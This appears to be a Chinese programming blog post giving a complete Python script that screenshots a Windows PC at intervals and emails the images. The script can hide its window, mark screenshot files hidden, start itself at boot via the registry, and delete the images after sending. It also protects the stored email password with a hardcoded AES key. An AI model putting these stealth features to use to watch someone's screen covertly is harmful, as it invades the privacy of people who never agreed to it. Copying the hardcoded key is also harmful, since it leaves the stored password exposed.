一步到位:用Python实现PC屏幕截图并自动发送邮件,实现屏幕监控

在当前的数字化世界中,自动化已经成为我们日常生活和工作中的关键部分。它不仅提高了效率,还节省了大量的时间和精力。在这篇文章中,我们将探讨如何使用Python来实现一个特定的自动化任务 - PC屏幕截图自动发送到指定的邮箱。

这个任务可能看起来很复杂,但是通过Python,我们可以将其分解为几个简单的步骤并逐一实现。首先,我们需要一个能够捕获屏幕截图的工具。其次,我们需要一个能够发送电子邮件的服务。最后,我们需要将这两个步骤组合在一起,创建一个可以自动执行这些任务的脚本。

在本文中,我们将详细介绍这个过程,并提供相应的Python代码示例。无论你是Python初学者,还是寻求新的自动化项目的经验开发人员,都可以从中受益。让我们开始吧。

主要功能

1.通过使用pyautogui库来进行屏幕截图。

2.使用smtplib库来发送电子邮件,以将截图发送给收件人。

3.使用tkinter库创建一个简单的图形用户界面(GUI),用于配置应用程序的设置。

4.通过使用logging库来记录日志,将日志保存到文件中。

5.使用configparser库来读取和保存应用程序的配置设置。

6.实现了开机自动启动功能,可以将应用程序设置为开机自动启动。

7.实现了隐藏和显示应用程序窗口的功能。

8.收件邮箱默认等于发件邮箱。

此外,代码还实现了一些其他功能,如数据加密和解密、删除已发送的截图文件等。

应用程序在为用户提供一个便捷的方式来定时截图并将截图发送给指定的收件人,适用于需要定期截图的监控、远程监视等场景。用户可以通过图形界面设置截图的间隔时间、截图的次数、发件人和收件人的电子邮件地址等。

具体代码
  1. # coding=utf-8

  2. '''

  3. @Author : TesterRoad

  4. @Time : 2023/7/9 15:43

  5. @Desc : 用python实现PC屏幕截图自动发送邮箱

  6. @Software: PyCharm

  7. '''

  8. import smtplib

  9. import time

  10. import pyautogui

  11. from email.mime.multipart import MIMEMultipart

  12. from email.mime.image import MIMEImage

  13. from email.mime.text import MIMEText

  14. import logging

  15. import configparser

  16. import os

  17. import sys

  18. import ctypes

  19. from Crypto.Cipher import AES

  20. from Crypto.Util.Padding import pad, unpad

  21. import base64

  22. import tkinter as tk

  23. from tkinter import ttk

  24. import datetime

  25. import threading

  26. import winreg

  27. import glob

  28. KEY = b'MySuperSecretKey'

  29. def encrypt_data(data):

  30. cipher = AES.new(KEY, AES.MODE_CBC)

  31. ct_bytes = cipher.encrypt(pad(data.encode('utf-8'), AES.block_size))

  32. iv = base64.b64encode(cipher.iv).decode('utf-8')

  33. ct = base64.b64encode(ct_bytes).decode('utf-8')

  34. return iv + ct

  35. def decrypt_data(data):

  36. try:

  37. iv = base64.b64decode(data[:24])

  38. ct = base64.b64decode(data[24:])

  39. cipher = AES.new(KEY, AES.MODE_CBC, iv=iv)

  40. pt = unpad(cipher.decrypt(ct), AES.block_size)

  41. return pt.decode('utf-8')

  42. except:

  43. return "Decryption Error!"

  44. class ScreenshotApp:

  45. def __init__(self):

  46. self.root = tk.Tk()

  47. self.root.title("Screen")

  48. self.config = configparser.ConfigParser()

  49. self.config_file = os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])), "config.ini")

  50. if not os.path.exists(self.config_file):

  51. self.create_default_config()

  52. self.config.read(self.config_file) # 读取配置文件

  53. self.sender_email_label = ttk.Label(self.root, text="发件邮箱:")

  54. self.sender_email_label.grid(row=0, column=0, padx=5, pady=5)

  55. self.sender_email_entry = ttk.Entry(self.root)

  56. self.sender_email_entry.grid(row=0, column=1, padx=5, pady=5)

  57. self.sender_password_label = ttk.Label(self.root, text="发件邮箱密码:")

  58. self.sender_password_label.grid(row=1, column=0, padx=5, pady=5)

  59. self.sender_password_entry = ttk.Entry(self.root, show="*")

  60. self.sender_password_entry.grid(row=1, column=1, padx=5, pady=5)

  61. self.interval_label = ttk.Label(self.root, text="截图间隔时间:")

  62. self.interval_label.grid(row=2, column=0, padx=5, pady=5)

  63. self.interval_entry = ttk.Entry(self.root)

  64. self.interval_entry.grid(row=2, column=1, padx=5, pady=5)

  65. self.count_label = ttk.Label(self.root, text="发送截图数量:")

  66. self.count_label.grid(row=3, column=0, padx=5, pady=5)

  67. self.count_entry = ttk.Entry(self.root)

  68. self.count_entry.grid(row=3, column=1, padx=5, pady=5)

  69. self.start_button = ttk.Button(self.root, text="开始截图", command=self.start_screenshot)

  70. self.start_button.grid(row=4, column=0, padx=5, pady=5)

  71. self.stop_button = ttk.Button(self.root, text="停止截图", command=self.stop_screenshot)

  72. self.stop_button.grid(row=4, column=1, padx=5, pady=5)

  73. self.stop_button.configure(state="disabled")

  74. self.save_button = ttk.Button(self.root, text="save", command=self.save_settings)

  75. self.save_button.grid(row=5, column=0, padx=5, pady=5)

  76. self.autostart_var = tk.BooleanVar()

  77. self.autostart_checkbutton = ttk.Checkbutton(self.root, text="开机自动启动", variable=self.autostart_var,

  78. command=self.save_settings)

  79. self.autostart_checkbutton.grid(row=6, column=0, columnspan=2, padx=5, pady=5)

  80. self.toggle_visibility_button = ttk.Button(self.root, text="显示/隐藏", command=self.toggle_visibility)

  81. self.toggle_visibility_button.grid(row=7, column=0, columnspan=2, padx=5, pady=5)

  82. # 创建日志记录器

  83. self.log_file_path = os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])), "screenshot.log")

  84. self.logger = logging.getLogger("ScreenshotApp")

  85. self.logger.setLevel(logging.INFO)

  86. self.logger.addHandler(logging.FileHandler(self.log_file_path))

  87. self.screenshot_running = False

  88. self.screenshot_thread = None

  89. self.stop_event = threading.Event()

  90. # 初始化输入框的值

  91. self.sender_email_entry.insert(0, self.config.get("Settings", "sender_email", fallback=""))

  92. self.sender_password_entry.insert(0, self.get_decrypted_password())

  93. self.interval_entry.insert(0, self.config.get("Settings", "interval", fallback=""))

  94. self.count_entry.insert(0, self.config.get("Settings", "count", fallback=""))

  95. # 初始化开机自动启动选项

  96. self.autostart_var.set(self.is_autostart_enabled())

  97. self.root.protocol("WM_DELETE_WINDOW", self.on_close)

  98. self.root.bind("<F12>", self.toggle_visibility)

  99. # 初始化窗口可见性

  100. visibility = self.config.get("Settings", "visibility", fallback="visible")

  101. if visibility == "hidden":

  102. self.root.withdraw()

  103. if self.autostart_var.get():

  104. self.start_screenshot()

  105. self.root.mainloop()

  106. def on_close(self):

  107. self.stop_screenshot()

  108. self.save_settings()

  109. self.delete_screenshots()

  110. self.root.quit()

  111. def create_default_config(self):

  112. if not os.path.exists(self.config_file):

  113. self.config["Settings"] = {

  114. "sender_email": "",

  115. "sender_password": "",

  116. "interval": "",

  117. "count": "",

  118. "autostart": "False",

  119. "visibility": "visible"

  120. }

  121. config_file_path = os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])), "config.ini")

  122. with open(config_file_path, "w") as configfile:

  123. self.config.write(configfile)

  124. def start_screenshot(self):

  125. interval_text = self.interval_entry.get()

  126. count_text = self.count_entry.get()

  127. if not interval_text or not count_text:

  128. self.logger.error("请提供Screen间隔时间和Screen次数")

  129. return

  130. try:

  131. interval = int(interval_text)

  132. count = int(count_text)

  133. except ValueError:

  134. self.logger.error("Screen间隔时间和Screen次数必须是有效的整数")

  135. return

  136. if not self.screenshot_running:

  137. sender_email = self.sender_email_entry.get()

  138. sender_password = self.sender_password_entry.get()

  139. interval = int(self.interval_entry.get())

  140. count = int(self.count_entry.get())

  141. receiver_email = sender_email # 收件邮箱地址默认等于发件邮箱地址

  142. self.logger.info("开始Screen")

  143. self.start_button.configure(state="disabled")

  144. self.stop_button.configure(state="normal")

  145. self.screenshot_running = True

  146. self.stop_event.clear()

  147. self.screenshot_thread = threading.Thread(target=self.screenshot_loop, args=(

  148. receiver_email, sender_email, sender_password, interval, count))

  149. self.screenshot_thread.start()

  150. def stop_screenshot(self):

  151. if self.screenshot_running:

  152. self.screenshot_running = False

  153. self.stop_event.set()

  154. self.screenshot_thread.join()

  155. self.logger.info("停止Screen")

  156. self.start_button.configure(state="normal")

  157. self.stop_button.configure(state="disabled")

  158. def screenshot_loop(self, receiver_email, sender_email, sender_password, interval, count):

  159. screenshot_count = 0

  160. screenshots = []

  161. # 获取用户主目录,并创建'Screenshots'文件夹

  162. user_dir = os.path.expanduser('~')

  163. screenshot_dir = os.path.join(user_dir, 'Screenshots')

  164. os.makedirs(screenshot_dir, exist_ok=True)

  165. # 在开始Screen前清空'Screenshots'文件夹

  166. self.delete_screenshots()

  167. while screenshot_count < count and not self.stop_event.is_set():

  168. try:

  169. # Screen

  170. screenshot = pyautogui.screenshot()

  171. # 生成文件名,格式为“Screen时间.png”

  172. current_time = datetime.datetime.now().strftime("%Y%m%d_%H%M%S")

  173. filename = f"Screen_{current_time}.png"

  174. # 保存Screen到'Screenshots'文件夹中

  175. screenshot_path = os.path.join(screenshot_dir, filename)

  176. screenshot.save(screenshot_path)

  177. screenshots.append(screenshot_path)

  178. screenshot_count += 1

  179. # 设置文件为隐藏

  180. FILE_ATTRIBUTE_HIDDEN = 0x02

  181. ctypes.windll.kernel32.SetFileAttributesW(screenshot_path, FILE_ATTRIBUTE_HIDDEN)

  182. self.logger.info(f"Screen成功: {screenshot_path}")

  183. if screenshot_count == count: # 达到指定Screen次数后发送Screen

  184. screenshot_count = 0

  185. self.send_email(receiver_email, sender_email, sender_password, screenshots)

  186. self.logger.info(f"Screen发送成功,共发送了 {len(screenshots)} 张Screen")

  187. self.delete_screenshots(screenshots)

  188. screenshots = [] # 清空已发送的Screen列表

  189. except Exception as e:

  190. self.logger.error(f"Screen失败: {str(e)}")

  191. time.sleep(interval)

  192. def send_email(self, receiver_email, sender_email, sender_password, filenames):

  193. msg = MIMEMultipart()

  194. msg["From"] = sender_email

  195. msg["To"] = receiver_email

  196. msg["Subject"] = "Screen"

  197. # 添加邮件正文

  198. msg.attach(MIMEText("请查看附件中的Screen。", "plain"))

  199. # 添加Screen作为附件

  200. for filename in filenames:

  201. with open(filename, "rb") as f:

  202. image = MIMEImage(f.read())

  203. image.add_header('Content-Disposition', 'attachment', filename=os.path.basename(filename))

  204. msg.attach(image)

  205. try:

  206. # 发送邮件

  207. with smtplib.SMTP_SSL("smtp.qq.com", 465) as smtp:

  208. smtp.login(sender_email, sender_password)

  209. smtp.send_message(msg)

  210. self.logger.info(f"邮件发送成功,收件人: {receiver_email}")

  211. except Exception as e:

  212. self.logger.error(f"邮件发送失败: {str(e)}")

  213. def save_settings(self):

  214. self.config.set("Settings", "sender_email", self.sender_email_entry.get())

  215. self.config.set("Settings", "interval", self.interval_entry.get())

  216. self.config.set("Settings", "count", self.count_entry.get())

  217. self.config.set("Settings", "autostart", str(self.autostart_var.get()))

  218. visibility = "visible" if self.root.state() == "normal" else "hidden"

  219. self.config.set("Settings", "visibility", visibility)

  220. if self.sender_password_entry.get() != self.get_decrypted_password():

  221. encrypted_password = encrypt_data(self.sender_password_entry.get())

  222. self.config.set("Settings", "sender_password", encrypted_password)

  223. config_file_path = os.path.abspath(self.config_file)

  224. with open(config_file_path, "w") as configfile:

  225. self.config.write(configfile)

  226. self.logger.handlers.clear()

  227. self.logger.addHandler(logging.FileHandler(self.log_file_path))

  228. self.set_autostart(self.autostart_var.get())

  229. def delete_screenshots(self, filenames=None):

  230. # 获取'Screenshots'文件夹路径

  231. user_dir = os.path.expanduser('~')

  232. screenshot_dir = os.path.join(user_dir, 'Screenshots')

  233. if filenames is None:

  234. filenames = glob.glob(os.path.join(screenshot_dir, "Screen*.png"))

  235. for filename in filenames:

  236. try:

  237. os.remove(filename)

  238. self.logger.info(f"删除Screen: {filename}")

  239. except Exception as e:

  240. self.logger.error(f"删除Screen失败: {str(e)}")

  241. def get_decrypted_password(self):

  242. encrypted_password = self.config.get("Settings", "sender_password", fallback="")

  243. if encrypted_password:

  244. return decrypt_data(encrypted_password)

  245. else:

  246. return ""

  247. def toggle_visibility(self, event=None):

  248. if self.root.state() == "withdrawn":

  249. self.root.deiconify()

  250. else:

  251. self.root.withdraw()

  252. self.save_settings()

  253. def set_autostart(self, enabled):

  254. key = winreg.HKEY_CURRENT_USER

  255. run_key = r"Software\Microsoft\Windows\CurrentVersion\Run"

  256. app_name = "Screen"

  257. app_path = sys.executable # 获取当前脚本的绝对路径

  258. try:

  259. with winreg.OpenKey(key, run_key, 0, winreg.KEY_SET_VALUE) as reg_key:

  260. if enabled:

  261. winreg.SetValueEx(reg_key, app_name, 0, winreg.REG_SZ, app_path)

  262. self.logger.info("已设置开机自动启动")

  263. else:

  264. winreg.DeleteValue(reg_key, app_name)

  265. self.logger.info("已取消开机自动启动")

  266. except FileNotFoundError as e:

  267. self.logger.error(f"找不到注册表路径: {str(e)}")

  268. except PermissionError as e:

  269. self.logger.error(f"没有足够的权限访问注册表: {str(e)}")

  270. except Exception as e:

  271. self.logger.error(f"设置开机自动启动失败: {str(e)}")

  272. def is_autostart_enabled(self):

  273. key = winreg.HKEY_CURRENT_USER

  274. run_key = r"Software\Microsoft\Windows\CurrentVersion\Run"

  275. app_name = "Screen"

  276. app_path = sys.executable # 获取当前脚本的绝对路径

  277. try:

  278. with winreg.OpenKey(key, run_key, 0, winreg.KEY_READ) as reg_key:

  279. try:

  280. value, value_type = winreg.QueryValueEx(reg_key, app_name)

  281. return value == app_path

  282. except FileNotFoundError:

  283. return False

  284. except FileNotFoundError as e:

  285. self.logger.error(f"找不到注册表路径: {str(e)}")

  286. except PermissionError as e:

  287. self.logger.error(f"没有足够的权限访问注册表: {str(e)}")

  288. except Exception as e:

  289. self.logger.error(f"读取开机自动启动设置失败: {str(e)}")

  290. return False

  291. if __name__ == "__main__":

  292. app = ScreenshotApp()

打开CMD,输入python ScreenCaptureSendEmail.py

图片

我们输入发件邮箱,发件邮箱密码(QQ邮箱则是授权码),截图间隔时间,发送截图数量,然后点击开始截图,稍后我们会收到一封QQ邮件

如下图所示

图片

图片

在本文中,我们详细讨论了如何使用Python实现PC屏幕截图并自动发送至邮箱的功能。我们探讨了相关库的使用。并通过编写实际的代码,我们一步步演示了如何将这些功能整合在一起。希望这篇文章能够帮助你在自动化处理任务、提高工作效率方面取得进步。如果你在实践过程中遇到任何问题,或者有任何建议,欢迎随时与我交流。记住,编程就是解决问题的艺术,不断学习和实践才能更好地掌握它。

总结:

感谢每一个认真阅读我文章的人!!!

作为一位过来人也是希望大家少走一些弯路,如果你不想再体验一次学习时找不到资料,没人解答问题,坚持几天便放弃的感受的话,在这里我给大家分享一些自动化测试的学习资源,希望能给你前进的路上带来帮助。

软件测试面试文档

我们学习必然是为了找到高薪的工作,下面这些面试题是来自阿里、腾讯、字节等一线互联网大厂最新的面试资料,并且有字节大佬给出了权威的解答,刷完这一套面试资料相信大家都能找到满意的工作。

 

          视频文档获取方式:
这份文档和视频资料,对于想从事【软件测试】的朋友来说应该是最全面最完整的备战仓库,这个仓库也陪伴我走过了最艰难的路程,希望也能帮助到你!以上均可以分享,点下方小卡片即可自行领取。

  • 7
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值